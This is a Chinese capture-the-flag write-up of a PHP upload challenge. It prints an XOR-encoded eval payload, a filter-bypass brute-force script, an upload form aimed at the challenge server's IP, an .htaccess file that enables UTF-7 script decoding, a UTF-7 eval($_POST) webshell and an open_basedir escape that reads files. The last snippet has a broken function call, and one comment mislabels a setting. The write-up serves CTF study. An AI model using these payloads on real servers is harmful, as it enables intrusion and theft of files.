题目是一个源码审计:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
源码分析
对GET传入字符做出了长度限制不得超过18,使用一个正则过滤了
自然数、英文字符,x00,X7F,反引号,",',_,&,.,逗号
。count_chars(string,3)
取出不同字符的个数,并且设置不得大于12个。最后eval()
执行。按照题目的意思是要构造一个能够调用get_the_flag()
上面这个自定义函数的方法,上传shell.绕过get_the_flag()直接使用
.htaccess
方法执行php
绕过限制执行任意函数
这里参考了一篇文章:https://xz.aliyun.com/t/5677#toc-9
使用
0xff
异或得到=>_GET
进行调用这里写了个脚本对这个结果进行爆破:
def bypass():
minn = 1000000000
G = []
E = []
T = []
_ = []
str_1 = r'\'"`~_&.,|=[0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
str_2 = []
for i in str_1:
str_2.append(ord(i))
str_3='0123456789abcdef'#构造16进制所含字符
str_0x16 = []
'''构造16进制'''
for i in str_3:
for j in str_3:
tmp = '0x'+i+j
str_0x16.append(tmp)
for i in str_0x16:
#for j in str_0x16:
j = "0xff"
tmp_1 = int(i,16)
tmp_2 = int("0xff",16)
```
if (tmp_1 in str_2) or (tmp_2 in str_2) or (0<=tmp_1<=32) or (0<=tmp_2<=32) or (tmp_1==127) or (tmp_2==127):
continue
if tmp_1^tmp_2==ord('G'):
print('G=>'+i+"^"+j)
if tmp_1^tmp_2==ord('E'):
print('E=>'+i+"^"+j)
if tmp_1^tmp_2==ord('T'):
print('T=>'+i+"^"+j)
if tmp_1^tmp_2==ord('_'):
print('_=>'+i+"^"+j)
bypass()
- 输出结果
_=>0xa0^0xff
T=>0xab^0xff
G=>0xb8^0xff
E=>0xba^0xff
[Finished in 0.2s]
- 那么可以构造payload:
${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo
${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag
- 正好拿WEB1的表单作为上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="http://47.111.59.243:9001/?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">upload</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="upload" value="upload">
</form>
</body>
</html>
绕过get_the_flag()
函数
该函数主要过滤了ph文件后缀,但没有过滤其他文件后缀,而文件内容则过滤<?,并且使用exif_imagetype
对文件进行了判断是否为图片,考虑php7已经抛弃了<script language='php'>
和<%
所以可以使用UTF-7进行攻击。即上传.htaccess
设置如下代码:
#define 4c11f3876d494218ff327e3ca6ac824f_width 1337
#define 4c11f3876d494218ff327e3ca6ac824f_height 1337
AddType application/x-httpd-php .aaa #将后缀为.aaa的解析为php
php_flag display_errors on #关闭报错
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7" #设置解码UTF-7
绕过exif_imagetype
的检测,首先看一下这个函数的文档说明(图1),该函数读取图像的第一个字节,也就是说读取图片文件头,如果这个文件头是PHP自带的常量那么就可以通过检测。PHP常量如(图二),只能使用xbm图片常量而其他常量都会导致.htaccess
无法解析。因为XBM图片使用C代码作为表示,也就是在文件头定义两个常量分别是宽和高。这样既可绕过图片头检测。
#define test_width 16
#define test_height 7
这样就成功上传了.htaccess
文件,但是构造shell并不能直接上传因为过滤<?,但是我们上面设置了解码UTF-7
,那么我们就可以构造UTF-7
编码的payload(http://toolswebtop.com/text/process/encode/utf-7这个网站可以编码和解码UTF-7).
UTF-7一句话木马
我们将木马同样上传上去,注意后缀为.aaa直接上菜刀连接。
#define 4c11f3876d494218ff327e3ca6ac824f_width 1337
#define 4c11f3876d494218ff327e3ca6ac824f_height 1337
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4-
也可以使用phpinfo进行测试是否执行成功代码。
open_basedir绕过bypass
open_basedir
是php.ini中对目录进行授权的设置,使用菜刀连上后发现无法访问其他目录。所以考虑bypassopen_basedir
,这是一个外国大佬在今年四月份放出来的payload,具体原理我也不懂(—_—).
新建一个php文件,写入如下代码即可列出任意目录文件列表。
<?php
ini_set('open_basedir','/tmp');
mkdir('/tmp/fuck/');
chdir('/tmp/fuck/');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
?>
可以看到flag文件名直接将scandir
改成file_get_contents()
读取flag
<?php
ini_set('open_basedir','/tmp');
mkdir('/tmp/fuck/');
chdir('/tmp/fuck/');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents()('THis_Is_tHe_F14g'));
?>